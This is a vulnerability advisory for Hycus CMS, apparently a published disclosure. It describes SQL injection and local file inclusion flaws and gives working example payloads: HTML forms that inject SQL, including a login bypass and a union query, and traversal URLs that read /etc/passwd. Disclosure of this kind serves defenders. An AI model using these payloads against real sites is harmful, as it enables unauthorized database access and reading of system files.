Multiple Vulnerabilities in Hycus CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Hycus CMS which could be exploited to perform SQL injection attacks, gain access to sensitive information and compromise vulnerable system.

1) SQL injection vulnerabilities in Hycus CMS: CVE-2010-4612
The vulnerability exists due to input sanitation errors in the "user_name", "usr_email", "q" and "useremail" parameters in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation examples:
1.1
<form action="http://[host]/?user/1/hregister.html" method="post" name="main" >
<input type="hidden" name="full_name" value="username"/>
<input type="hidden" name="user_name" value="1'SQL_CODE"/>
<input type="hidden" name="usr_email" value="[email protected]'SQL_CODE"/>
<input type="hidden" name="pwd" value="123456"/>
<input type="hidden" name="pwd2" value="123456"/>
<input type="submit" value="submit" name="submit" />
</form>
1.2
<form action="http://[host]/?user/1/hlogin.html" method="post" name="main" >
<input type="hidden" name="usr_email" value="1' OR 1=1 -- 1"/>
<input type="hidden" name="pwd" value="any"/>
<input type="submit" value="submit" name="submit" />
</form>
1.3
<form action="http://[host]/?search/1.html" method="post" name="main" >
<input type="hidden" name="q" value="search' union select 1,2,@@version -- 3"/>
<input type="submit" value="submit" name="submit" />
</form>
1.4
<form action="http://[host]/?user/1/forgotpass.html" method="post" name="main" >
<input type="hidden" name="useremail" value="1'SQL_CODE"/>
<input type="submit" value="submit" name="submit" />
</form>

2) Local file inclusion in Hycus CMS: CVE-2010-4613
Input passed to the "site" parameter via index.php and admin.php is not properly sanitized before being used to include local files. A remote attacker can include arbitrary files on the target system using directory traversal sequences with NULL byte.
Exploitation examples:
http://[host]/index.php?site=../../../../../../../etc/passwd%00
http://[hos t]/admin.php?site=../../ ../../../../../etc/passwd%00
